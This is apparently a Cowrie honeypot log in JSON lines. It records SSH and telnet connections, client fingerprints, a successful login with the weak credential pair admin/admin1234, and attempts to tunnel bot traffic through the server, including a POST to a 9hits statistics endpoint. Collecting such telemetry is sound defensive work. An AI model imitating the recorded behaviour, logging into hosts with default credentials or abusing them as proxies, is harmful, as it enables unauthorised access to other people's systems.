{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.307814Z","src_ip":"63.141.242.2","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1310\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1; CX-786) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MWVEMyMwNDVYbkVkTXQ3Pg%3D%3Dg58EdzzrpLK6xQIjU5831ADaYKgK8RXJQzZEBInUkUCDqhpRlXjx40jA5iAs8yrSlIysN%2FT8%2FfmJdZy7KsccODMXY6YOwHI1VbaH5bdrJ0FeNBGztF%2B39GIpxKaYelAG5EoMmUNjWarWGWrbqUtCXAbxKaNk5eI28GPRPLjsY6KBh7dMgNZsf2rt7HdsgukQlUG0IiwFKSsME71NfNO0E3GCTXzFJ2RNywvUuUptEqFvw5UohbJFPZJ5IedDNs8vywVNxNvK7obUeDQJGjVFCPulb6akbRwpf%2F6ycezAUD48Gm0xByV6ppfQThlKTix26eJJE9EZyrcSD3xO0nAVTveiDj%2BrtUp5fF8Ihyn9RxzqqgQdBmNj2xGnrxUskfxsshCp63KEMKYOUbBSbfysUsXFC9cAUFq6Q%2BFudIggeGXCwNUCQvBG1HbQzd%2BnMbTM7t7cBvewLzIfpUrmvV94qT6DrGUVbdAIqCHHG7Q1mW2%2BUNtt%2Bb%2BQviKeEcrorADF48n%2BidGkc3KoNeNrhiHW5RSLqjta1m930sJm6%2FLi5L%2BQej5QGQ2eVSsnL3dYE4n9%2F26tz3htSHBMW7dgtmq632h%2BgDu8fW72MbEzRsd%2FgycS%2Bvy9d9qTCLQkGpm38YE2MSlrZpCjaHOOGX%2BaKCZk4vrDH%2BXoQm9uE1XwoANNwI4f%2F2oscNHSY1WyzqYNXJe1V25noo7EXNey85ZwKF%2B1Ac0dCouS28qUd3FB4D5jD27wzpKcaTm%2FoLC7F5b9z9c60%2FhMLT%2BLnIk9NhEULGk0KSS8fKPttsRZcVvJ9oDsnF%2Bet9E2Ny3a66scJAjuH%2F9NbaENZSHpEJXyKyxQFFVMAP%2FcqiOr%2F2Eti7OtYT%2FmWaeLulQlFeJdYCs4bgNyxfk36a08gsCwrgNJ6HCYPKhY%2FLVj9BgEukAn3Pvbzzb%2BeW69DfA9J6%2FaIsD8e%2B2thehuyDS5Eu3vJb%2FEColHMOLiGkhL%2FbBv7TwSZxsXQdkshZAEIuafcCBdHwmsX29JJwsVTpCS5XVzV7f29%2FiMPucvVN0NL0eHzu22HLze68eKBrLLPc5paA78PzJXZDQ7fMBtSFSRWwU%2FYMiTd8%2F86dsZXMO0jtxIhy9S%2FPr1SHlTma1TFXJ1FWOv7usxV6VpApSS3ZzKk%2BfxssXlIhnzV6gD50DFBJXKmL4y1F%2FgK9WJJMs%3D'","id":2,"message":"discarded direct-tcp forward request 2 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1310\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1; CX-786) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MWVEMyMwNDVYbkVkTXQ3Pg%3D%3Dg58EdzzrpLK6xQIjU5831ADaYKgK8RXJQzZEBInUkUCDqhpRlXjx40jA5iAs8yrSlIysN%2FT8%2FfmJdZy7KsccODMXY6YOwHI1VbaH5bdrJ0FeNBGztF%2B39GIpxKaYelAG5EoMmUNjWarWGWrbqUtCXAbxKaNk5eI28GPRPLjsY6KBh7dMgNZsf2rt7HdsgukQlUG0IiwFKSsME71NfNO0E3GCTXzFJ2RNywvUuUptEqFvw5UohbJFPZJ5IedDNs8vywVNxNvK7obUeDQJGjVFCPulb6akbRwpf%2F6ycezAUD48Gm0xByV6ppfQThlKTix26eJJE9EZyrcSD3xO0nAVTveiDj%2BrtUp5fF8Ihyn9RxzqqgQdBmNj2xGnrxUskfxsshCp63KEMKYOUbBSbfysUsXFC9cAUFq6Q%2BFudIggeGXCwNUCQvBG1HbQzd%2BnMbTM7t7cBvewLzIfpUrmvV94qT6DrGUVbdAIqCHHG7Q1mW2%2BUNtt%2Bb%2BQviKeEcrorADF48n%2BidGkc3KoNeNrhiHW5RSLqjta1m930sJm6%2FLi5L%2BQej5QGQ2eVSsnL3dYE4n9%2F26tz3htSHBMW7dgtmq632h%2BgDu8fW72MbEzRsd%2FgycS%2Bvy9d9qTCLQkGpm38YE2MSlrZpCjaHOOGX%2BaKCZk4vrDH%2BXoQm9uE1XwoANNwI4f%2F2oscNHSY1WyzqYNXJe1V25noo7EXNey85ZwKF%2B1Ac0dCouS28qUd3FB4D5jD27wzpKcaTm%2FoLC7F5b9z9c60%2FhMLT%2BLnIk9NhEULGk0KSS8fKPttsRZcVvJ9oDsnF%2Bet9E2Ny3a66scJAjuH%2F9NbaENZSHpEJXyKyxQFFVMAP%2FcqiOr%2F2Eti7OtYT%2FmWaeLulQlFeJdYCs4bgNyxfk36a08gsCwrgNJ6HCYPKhY%2FLVj9BgEukAn3Pvbzzb%2BeW69DfA9J6%2FaIsD8e%2B2thehuyDS5Eu3vJb%2FEColHMOLiGkhL%2FbBv7TwSZxsXQdkshZAEIuafcCBdHwmsX29JJwsVTpCS5XVzV7f29%2FiMPucvVN0NL0eHzu22HLze68eKBrLLPc5paA78PzJXZDQ7fMBtSFSRWwU%2FYMiTd8%2F86dsZXMO0jtxIhy9S%2FPr1SHlTma1TFXJ1FWOv7usxV6VpApSS3ZzKk%2BfxssXlIhnzV6gD50DFBJXKmL4y1F%2FgK9WJJMs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.311394Z","src_ip":"63.141.242.2","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":54256,"dst_ip":"10.17.0.5","dst_port":22,"session":"d926c8d3c82d","protocol":"ssh","message":"New connection: 23.175.50.51:54256 (10.17.0.5:22) [session: d926c8d3c82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.633730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.639014Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:58.837729Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:00.325254Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:00.688534Z","src_ip":"63.141.242.2","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":42303,"dst_ip":"159.203.135.109","dst_port":23,"session":"5785efd79015","protocol":"telnet","message":"New connection: 50.65.170.8:42303 (159.203.135.109:23) [session: 5785efd79015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:05.579993Z"}
{"eventid":"cowrie.session.closed","duration":48.86638569831848,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:06.373657Z","src_ip":"172.81.62.90","session":"9662288c4608","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.394032Z","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.399023Z","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.443845Z","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.450104Z","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.456230Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03L\\x89\\x8f\\xa3\\xea\\x97c\\xa1\\x9b\\xa9x0\\xb7rR\\xc1\\x1a\\x1f\\xc0X\\xd0\\xe9\\x9f\\xb1\\xbc\\xd9\\xe1\\x7fZ\\xf2|\\x0e E4\\xb2X\\x1e\\xe94\\x86&\\xe1\\xcf\\x01\\x81\\x9fd\\xf13\\x87E\\xd2\\x901\\xc3\\xcd\\xa5\\x1cHn\\xba\\x9eyv\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x86E/`~\\x0b3\\xe6]n[\\xa3O~jGPv\\xd6_tm\\x87G\\xfe\\xb7@3x\\x15\\n\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03L\\x89\\x8f\\xa3\\xea\\x97c\\xa1\\x9b\\xa9x0\\xb7rR\\xc1\\x1a\\x1f\\xc0X\\xd0\\xe9\\x9f\\xb1\\xbc\\xd9\\xe1\\x7fZ\\xf2|\\x0e E4\\xb2X\\x1e\\xe94\\x86&\\xe1\\xcf\\x01\\x81\\x9fd\\xf13\\x87E\\xd2\\x901\\xc3\\xcd\\xa5\\x1cHn\\xba\\x9eyv\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x86E/`~\\x0b3\\xe6]n[\\xa3O~jGPv\\xd6_tm\\x87G\\xfe\\xb7@3x\\x15\\n\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.460076Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.466327Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03!\\xfc(\\x9e\\xcb\\xf1W\\xb08\\x8eo\\x0b01\\x9b_\\x04&\\xbd\\xd3\\x82a\\x11\\xca\\xa7\\x7f\\x1b\\xa9\\xf5>\\xd21 z\\xf3\\xca\\x85r\\x92v\\xf2v\\xb3\\x03\\xc62\\xff\\x04\\xe2`\\xa8\\x85\\xc6\\x05\\xfd\\x8eN\\xbc\\x03p~i\\xde\\x10\\xa4\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 c8\\xf5\\x95\\tA\\xf0\\xad\\xeaz\\x05\\x9e\\xa6\\xd26i\\xabB9\\xa1\\xf1_\\x0fx\\x8b\\x92\\xcd\\xb0k\\x13\\x87=\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03!\\xfc(\\x9e\\xcb\\xf1W\\xb08\\x8eo\\x0b01\\x9b_\\x04&\\xbd\\xd3\\x82a\\x11\\xca\\xa7\\x7f\\x1b\\xa9\\xf5>\\xd21 z\\xf3\\xca\\x85r\\x92v\\xf2v\\xb3\\x03\\xc62\\xff\\x04\\xe2`\\xa8\\x85\\xc6\\x05\\xfd\\x8eN\\xbc\\x03p~i\\xde\\x10\\xa4\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 c8\\xf5\\x95\\tA\\xf0\\xad\\xeaz\\x05\\x9e\\xa6\\xd26i\\xabB9\\xa1\\xf1_\\x0fx\\x8b\\x92\\xcd\\xb0k\\x13\\x87=\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:21:13.468788Z","src_ip":"23.175.50.51","session":"d926c8d3c82d","protocol":"ssh"}
